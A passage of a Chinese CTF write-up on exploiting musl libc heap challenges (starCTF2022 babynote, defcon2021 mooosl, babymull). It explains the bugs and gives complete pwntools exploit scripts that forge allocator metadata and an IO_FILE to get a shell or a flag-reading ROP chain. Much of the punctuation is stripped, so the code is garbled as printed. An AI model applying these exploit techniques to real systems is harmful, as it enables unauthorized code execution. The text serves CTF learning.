网站信息系统,做电器哪个网站好,海外营销是做什么的,企信网官网登录入口北京前言
本文不分析 musl libc 相关源码#xff0c;仅仅为刷题记录#xff0c;请读者自行学习相关知识#xff08;看看源码就行了#xff0c;代码量也不大#xff09;
starCTF2022_babynote
保护#xff1a;保护全开
程序与漏洞分析#xff1a;
程序实现了一个菜单堆仅仅为刷题记录请读者自行学习相关知识看看源码就行了代码量也不大
starCTF2022_babynote
保护保护全开
程序与漏洞分析
程序实现了一个菜单堆具有增删查丢的功能其主要维护着以下结构 增加时采用的头插法。然后查看功能是从链表头 bss_ptr 遍历该链表比对 name 找到指定对应的结构然后输出其 content。删除操作同理也是比对 name然后依次释放 name_ptrcontent_ptr 与控制堆块本身但是其存在一些问题 可以看到如果链表中存在两个元素那么删除最后一个元素时并没有进行脱链操作这里就导致了 UAF。
除此之外程序还给了一个丢的功能 这里直接将 bss_ptr 给置空了。
漏洞利用 musl libc 目前主要的利用手法就是打 dequeue 中的 unlink然后劫持 IO 控制程序执行流。
所以总体如下 1泄漏 libc 2泄漏 chunk_addr - group - meta - meta_area - secret 3伪造 meta_area - meta - group - chunk伪造 io_file 4释放伪造的 chunk修改 __stderr_used 为 fake_io_file 5然后执行 exit 劫持程序执行流
其实就是一些堆风水的工作挺无聊的说实话记录一下关键点吧。
1泄漏 libc / chunk_addr
这里主要就是通过堆风水形成如下结构一个堆块即是控制堆块又是一个 content 堆块。如果 size足够大的话其就会使用 mmap 分配空间这个跟 libc 有固定偏移。 这里我们可以利用第一个元素去泄漏第二个元素的 name_ptr 和 content_ptr这里的布局不一定如图所示这里就是画了一个草图根据自己的堆风水而定
2泄漏 secret这个是后面伪造 meta_area 用的
也是通过堆风水去修改 content_ptr 的值实现任意地址读。由于在第1)步中我们泄漏了 name_ptr 这个堆指针所以可以根据其与 group 的偏移计算出 group 的地址从而泄漏 meta泄漏了 meta其 meta-4096 就是 meta_area这里可以泄漏 secret 了
3相关伪造操作
这里其实没啥好说的直接在 content 上面伪造就行了将 content 的大小搞大一点这里就会调用 mmap 分配而 libc 地址又是知道的所以伪造的相关地址也是知道的。一些填充值直接调试填就好了。但是需要注意的是meta_area 地址必须是页对齐的chunk 地址必须是8字节对齐的
4释放伪造的 chunk
修改 content_ptr 为 fake_chunk_addr 即可
在进行堆风水的时候最好开始的时候保留一个 chunk不然测试发现后面会切换到其他 meta。
exp 如下
from pwn import *
context.terminal [tmux, splitw, -h]
context(arch amd64, os linux)
#context(arch i386, os linux)
#context.log_level debugio process(./pwn)
elf ELF(./pwn, checksecFalse)
libc elf.libcdef debug():gdb.attach(io)pause()sd lambda s : io.send(s)
sda lambda s, n : io.sendafter(s, n)
sl lambda s : io.sendline(s)
sla lambda s, n : io.sendlineafter(s, n)
rc lambda n : io.recv(n)
rl lambda : io.recvline()
rut lambda s : io.recvuntil(s, dropTrue)
ruf lambda s : io.recvuntil(s, dropFalse)
addr4 lambda n : u32(io.recv(n, timeout1).ljust(4, b\x00))
addr8 lambda n : u64(io.recv(n, timeout1).ljust(8, b\x00))
addr32 lambda s : u32(io.recvuntil(s, dropTrue, timeout1).ljust(4, b\x00))
addr64 lambda s : u64(io.recvuntil(s, dropTrue, timeout1).ljust(8, b\x00))
byte lambda n : str(n).encode()
info lambda s, n : print(\033[31m[s - str(hex(n))]\033[0m)
sh lambda : io.interactive()
menu boption: def add(name, data, name_sizeNone, data_sizeNone):sla(menu, b1)if name_size is None: name_sizelen(name)if data_size is None: data_sizelen(data)sla(bname size: , byte(name_size))sda(bname: , name)sla(bnote size: , byte(data_size))sda(bnote content: , data)def find(name, name_sizeNone):sla(menu, b2)if name_size is None: name_sizelen(name)sla(bname size: , byte(name_size))sda(bname: , name)def dele(name, name_sizeNone):sla(menu, b3)if name_size is None: name_sizelen(name)sla(bname size: , byte(name_size))sda(bname: , name)def forget():sla(menu, b4)def eexit():sla(menu, b5)def leak_addr():addr 0for i in range(8):addr | int(rc(2), 16) (8*i);return addr#gdb.attach(io, b *$rebase(0x00000000000016A1))
#gdb.attach(io, b *$rebase(0x00000000000018BE))add(bA, bX)
for _ in range(8):find(bB*0x20)
forget()
add(bB, b1*0x20)for _ in range(5):find(bC*0x20)
add(bC, b2*0x20)
dele(bB)
add(bX, bA*0x1000)
find(bB)
rut(b:)group_0x10 leak_addr() - 0x60
libc_base leak_addr() 0x3fe0
info(group_0x10, group_0x10)
info(libc_base, libc_base)for _ in range(5):find(bC*0x20)pay p64(group_0x100x50) p64(group_0x10) p64(1) p64(0x20)
find(pay)
find(bB)rut(b:)
meta_0x10 leak_addr()
meta_area_0x10 meta_0x10 (-4096)
info(meta_0x10, meta_0x10)
info(meta_area_0x10, meta_area_0x10)for _ in range(5):find(bD*0x20)pay p64(group_0x100x50) p64(meta_area_0x10) p64(1) p64(0x20)
find(pay)
find(bB)
rut(b:)
secret leak_addr()
info(secret, secret)libc.address libc_base
binsh next(libc.search(b/bin/sh\x00))
system libc.sym.system
stderr_used libc.sym.__stderr_used
info(binsh, binsh)
info(system, system)
info(__stderr_used, stderr_used)for _ in range(4):find(bM*0x20)fake_addr libc_base - 0x2aa0
fake_meta_area_addr fake_addr 0xaa0
fake_meta_addr fake_meta_area_addr 0x18
fake_group_addr fake_addr
fake_chunk_addr fake_addr 0x10
fake_io_file_addr fake_addr 0x300info(fake_meta_area_addr, fake_meta_area_addr)
info(fake_meta_addr, fake_meta_addr)
info(fake_group_addr, fake_group_addr)
info(fake_chunk_addr, fake_chunk_addr)
info(fake_io_file_addr, fake_io_file_addr)last_idx, sizecalss, maplen 5, 3, 1
union last_idx | (15) | (sizecalss6) | (maplen12)
fake_meta_area p64(secret) p64(0) p64(4)
fake_meta p64(fake_io_file_addr) p64(stderr_used) p64(fake_group_addr) p32(62) p32(0) p64(union)
fake_group p64(fake_meta_addr) p32(last_idx) p32((0x808)) bA*0x30 b\x00*0x10fake_io_file b/bin/sh\x00.ljust(0x28, b\x00) p64(1) p64(0)*3 p64(system)pay0 p64(group_0x100x10) p64(fake_chunk_addr) p64(1) p64(0x20)
pay1 fake_group.ljust(0x300, bA) fake_io_file
pay1 pay1.ljust(0xaa0, b\x00) fake_meta_area fake_meta
pay1 pay1.ljust(0x1000, bB)add(pay0, pay1)
dele(bA)
#pause()
eexit()
sh()
效果如下 defcon2021_mooosl
starCTF2022_babynote 这题其实就是根据这题改编的。
保护保护全开
程序与漏洞分析
程序实现了一个菜单堆具有增删查的功能其主要维护着以下结构 增加功能就是根据指定的 index 找到对应的链表然后利用头插法插入。查操作也是先根据 index 找到对应的链表然后遍历链表对比 key 找到对应的结构然后输出其 value 数据。
漏洞在删除操作中删除操作也是先通过 index 找到对应链表然后遍历链表对比 key 进行脱链删除操作但是这里存在的问题是当一个链表中存在2个以上的元素并且删除最后一个时没有进行脱链操作导致UAF。 漏洞利用
漏洞利用跟上一题差不多没啥好说的毕竟上一题就是这一题改编的。
exp 如下
from pwn import *
context.terminal [tmux, splitw, -h]
context(arch amd64, os linux)
#context(arch i386, os linux)
#context.log_level debugio process(./pwn)
elf ELF(./pwn, checksecFalse)
libc elf.libcdef debug():gdb.attach(io)pause()sd lambda s : io.send(s)
sda lambda s, n : io.sendafter(s, n)
sl lambda s : io.sendline(s)
sla lambda s, n : io.sendlineafter(s, n)
rc lambda n : io.recv(n)
rl lambda : io.recvline()
rut lambda s : io.recvuntil(s, dropTrue)
ruf lambda s : io.recvuntil(s, dropFalse)
addr4 lambda n : u32(io.recv(n, timeout1).ljust(4, b\x00))
addr8 lambda n : u64(io.recv(n, timeout1).ljust(8, b\x00))
addr32 lambda s : u32(io.recvuntil(s, dropTrue, timeout1).ljust(4, b\x00))
addr64 lambda s : u64(io.recvuntil(s, dropTrue, timeout1).ljust(8, b\x00))
byte lambda n : str(n).encode()
info lambda s, n : print(\033[31m[s - str(hex(n))]\033[0m)
sh lambda : io.interactive()
menu boption: def add(key, value, key_sizeNone, value_sizeNone):sla(menu, b1)if key_size is None: key_sizelen(key)if value_size is None: value_sizelen(value)sla(bkey size: , byte(key_size))sda(bkey content: , key)sla(bvalue size: , byte(value_size))sda(bvalue content: , value)def show(key, key_sizeNone):sla(menu, b2)if key_size is None: key_sizelen(key)sla(bkey size: , byte(key_size))sda(bkey content: , key)def dele(key, key_sizeNone):sla(menu, b3)if key_size is None: key_sizelen(key)sla(bkey size: , byte(key_size))sda(bkey content: , key)def eexit():sla(menu, b4)def leak_addr():addr 0for i in range(8):addr | int(rc(2), 16) (8*i);return addrdef get_index(key):mul 2021for ch in key:mul 0x13377331*mul ord(ch)return mul0xffffffffdef get_key(key):i 0index get_index(key) 0xfffwhile True:if (get_index(str(i))0xfff) index and str(i) ! key:return str(i).encode()i 1#gdb.attach(io, b *$rebase(0x00000000000018BE))add(bA, bB)
for _ in range(5):show(bP*0x30)add(bB, bB*0x30)
add(get_key(B), bB)
dele(bB)for _ in range(3):show(bP*0x30)add(bC, bC*0x1000)
show(bB)
rut(b:)
group_0x10 leak_addr() - 0x70
libc_base leak_addr() 0x3fe0
info(group_0x10, group_0x10)
info(libc_base, libc_base)for _ in range(3):show(bP*0x30)pay p64(group_0x100x30) p64(group_0x10) p64(1) p64(0x30) p64(0xb4c06217) p64(0)
show(pay)
show(bB)
rut(b:)
meta_0x10 leak_addr()
meta_area_0x10 meta_0x10 (-4096)
info(meta_0x10, meta_0x10)
info(meta_area_0x10, meta_area_0x10)for _ in range(3):show(bP*0x30)pay p64(group_0x100x30) p64(meta_area_0x10) p64(1) p64(0x30) p64(0xb4c06217) p64(0)
show(pay)
show(bB)
rut(b:)
secret leak_addr()
info(secret, secret)libc.address libc_base
system libc.sym.system
stderr_used libc.sym.__stderr_used
info(system, system)
info(__stderr_used, stderr_used)for _ in range(2):show(bP*0x30)fake_addr libc_base - 0x2aa0
fake_meta_area_addr fake_addr 0xaa0
fake_meta_addr fake_meta_area_addr 0x18
fake_group_addr fake_addr
fake_chunk_addr fake_addr 0x10
fake_io_file_addr fake_addr 0x300info(fake_meta_area_addr, fake_meta_area_addr)
info(fake_meta_addr, fake_meta_addr)
info(fake_group_addr, fake_group_addr)
info(fake_chunk_addr, fake_chunk_addr)
info(fake_io_file_addr, fake_io_file_addr)last_idx, sizecalss, maplen 5, 3, 1
union last_idx | (15) | (sizecalss6) | (maplen12)
fake_meta_area p64(secret) p64(0) p64(4)
fake_meta p64(fake_io_file_addr) p64(stderr_used) p64(fake_group_addr) p32(62) p32(0) p64(union)
fake_group p64(fake_meta_addr) p32(last_idx) p32((0x808)) bA*0x30 b\x00*0x10
fake_io_file b/bin/sh\x00.ljust(0x28, b\x00) p64(1) p64(0)*3 p64(system)key p64(group_0x100x20) p64(fake_chunk_addr) p64(1) p64(0x30) p64(0xb4c06217) p64(0)
value fake_group.ljust(0x300, bA) fake_io_file
value value.ljust(0xaa0, b\x00) fake_meta_area fake_meta
value value.ljust(0x1000, bB)add(key, value)
dele(bB)
eexit()
#debug()
sh()
效果如下 babymull
这个题目跟之前的有一点不同之前我们都是伪造 fake_chunk 然后根据 fake_chunk 伪造 fake_goup进而伪造 fake_meta 和 fake_meta_area。但是这个题目我们不伪造 fake_chunk我们知道 chunk 是根据 offset 找到的 group所以如果我们能够修改 chunk 的 offset便可以劫持 group从而伪造 fake_group 后面就都是一样的了。
保护保护全开并且有沙箱
题目实现了一个菜单堆 具有增删查的功能并且还给了一个后门函数。其中查和后门都只能执行一次。题目主要维护着以下结构 先来看下 show 功能 可以看到这里用 %s 输出 name所以如果能够将 name 填满则会将 data_ptr 指针输出。而 data 的大小在 [1,0x1000] 之间所以其可能是一个 mmap 分配的空间所以可以用来泄漏 libc。
但是在 add 时填充 name 时最多输入15个字符
但是这里存在问题这里memcpy不会在最后填上\x00所以可以利用堆块本身残余的字符将name这16个字节填满。
在后门函数中存在任意地址泄漏和任意地址写一字节NULL 因为后面要伪造meta_area所以得泄漏secret怎么泄漏呢在上面两题我们是通过先泄漏group然后泄漏meta进而泄漏meta_area然后去泄漏meta_area中secret其实这里做麻烦了呜呜呜。但是我们知道malloc_context是全局的并且在libc中所以在泄漏了libc后可以直接去泄漏malloc_context中的secret。所以利用后门可以直接泄漏secret。
删除操作本身不存在漏洞所以现在就只有后门中的一字节任意地址写NULL这个漏洞了。利用思路如下
堆风水形成如下布局这个算不上堆风水先后申请两个0x1000的堆块就行为啥是0x1000呢方便我们在里面伪造相应的结构体并且0x1000的堆块是mmap分配的所以其地址相当于已知 利用后门函数修改 chunk2 的 offset 字段的低字节为0这样当释放chunk2时其会根据 group_addr chunk2_addr - 0x10 - 0x10*offset 找到 group这时侯由于 offset 变小了测试就是变小了所以 group_addr 就会落在 chunk1 中所以可以在chunk1中伪造group后面伪造meta/meta_area 啥的就是如出一辙了。
坑点chunk2每释放一次其chunk2_addr就往下走0x10chunk1一样不知道啥原因。由于这个害的我调试调了好久悲......
exp 如下
from pwn import *
context.terminal [tmux, splitw, -h]
context(arch amd64, os linux)
#context(arch i386, os linux)
#context.log_level debugio process(./pwn)
elf ELF(./pwn)
libc elf.libcdef debug():gdb.attach(io)pause()sd lambda s : io.send(s)
sda lambda s, n : io.sendafter(s, n)
sl lambda s : io.sendline(s)
sla lambda s, n : io.sendlineafter(s, n)
rc lambda n : io.recv(n)
rut lambda s : io.recvuntil(s, dropTrue)
ruf lambda s : io.recvuntil(s, dropFalse)
addr lambda n : u64(io.recv(n, timeout1).ljust(8, b\x00))
addr32 lambda s : u32(io.recvuntil(s, dropTrue, timeout1).ljust(4, b\x00))
addr64 lambda s : u64(io.recvuntil(s, dropTrue, timeout1).ljust(8, b\x00))
byte lambda n : str(n).encode()
info lambda s, n : print(\033[31m[s - str(hex(n))]\033[0m)
sh lambda : io.interactive()
menu bYour choice
def add(content, sizeNone, namebA*0xF):sla(menu, b1)sda(bName: , name)if size is None: size len(content)sla(bSize: , byte(size))if size len(content): sda(bContent: , content)else: sla(bContent: , content)def dele(idx):sla(menu, b2)sla(bIndex: , byte(idx))def show(idx):sla(menu, b3)sla(bIndex: , byte(idx))def exit():sla(menu, b4)def backdoor(addr0, addr1):sla(menu, b1932620593)sl(byte(addr0))sleep(0.1)sl(byte(addr1))for _ in range(5):add(bB*0x20)
dele(0)
#dele(1)
add(bA, 0x1000) # 0
add(bB, 0x1000) # 5
show(5)
rut(bName:)
rc(0x10)
libc.address addr64(b C) 0x2aa0
info(libc_base, libc.address)
o libc.sym.open
r libc.sym.read
w libc.sym.write
rdi libc.address 0x0000000000015536 # pop rdi ; ret
rsi libc.address 0x000000000001b3a9 # pop rsi ; ret
rdx libc.address 0x00000000000177c7 # pop rdx ; ret
gadget libc.address 0x000000000004bcf3 # mov rsp, qword ptr [rdi 0x30]; jmp qword ptr [rdi 0x38];
malloc_context libc.sym.__malloc_context
stderr libc.sym.__stderr_usedinfo(open, o)
info(read, r)
info(write, w)
info(__malloc_context, malloc_context)
info(__stderr_used, stderr)change_byte_by_zero_addr libc.address - 0x2aa0 0x8 0x6
fake_file_addr libc.address - 0x2aa0 0x10
fake_meta_area_addr libc.address - 0x2aa0 - 0x560
fake_meta_addr fake_file_addr 0x100
fake_group_addr libc.address - 0x2aa0 - 0x100*16 - 0x10 0x10
fake_group_to_first_chunk_offset 0x530
fake_meta_area_to_first_chunk_offset 0xfe0
end_to_second_chunk_offset 0xfdcinfo(change_byte_by_zero_addr, change_byte_by_zero_addr)
info(fake_file_addr, fake_file_addr)
info(fake_meta_area_addr, fake_meta_area_addr)
info(fake_meta_addr, fake_meta_addr)
info(fake_group_addr, fake_group_addr)fake_stack fake_file_addr 0x200
flag_str fake_file_addr
flag_buf fake_file_addr 0x300union 1 (15) (276) (412)
fake_file b./flag\x00\x00 p64(0)*5 p64(fake_stack) p64(rdi) p64(0) p64(gadget)
fake_meta p64(fake_file_addr) p64(stderr) p64(fake_group_addr) p64(1) p64(union)
fake_group p64(fake_meta_addr) p64(1) p64(0)orw p64(flag_str) p64(rsi) p64(0) p64(o)
orw p64(rdi) p64(3) p64(rsi) p64(flag_buf) p64(rdx) p64(0x30) p64(r)
orw p64(rdi) p64(1) p64(rsi) p64(flag_buf) p64(rdx) p64(0x30) p64(w)
dele(5)
pay fake_file.ljust(0x100, b\x00) fake_meta
pay pay.ljust(0x200, b\x00)
pay orw
pay pay.ljust(0xfd8, b\x00)
pay p64(5)
print(hex(len(pay)))
add(pay, 0x1000) # 5
backdoor(change_byte_by_zero_addr, malloc_context)
secret int(rc(18), 16)
info(secret, secret)
fake_meta_area p64(secret).ljust(0x10, b\x00)dele(0)
pay b\x00*0x530 fake_group
pay pay.ljust(0xfd0, b\x00) fake_meta_area
print(hex(len(pay)))
add(pay, 0x1000) # 0
#gdb.attach(io, b *$rebase(0x0000000000001862))
#pause()
dele(5)
exit()
#debug()
sh()
效果如下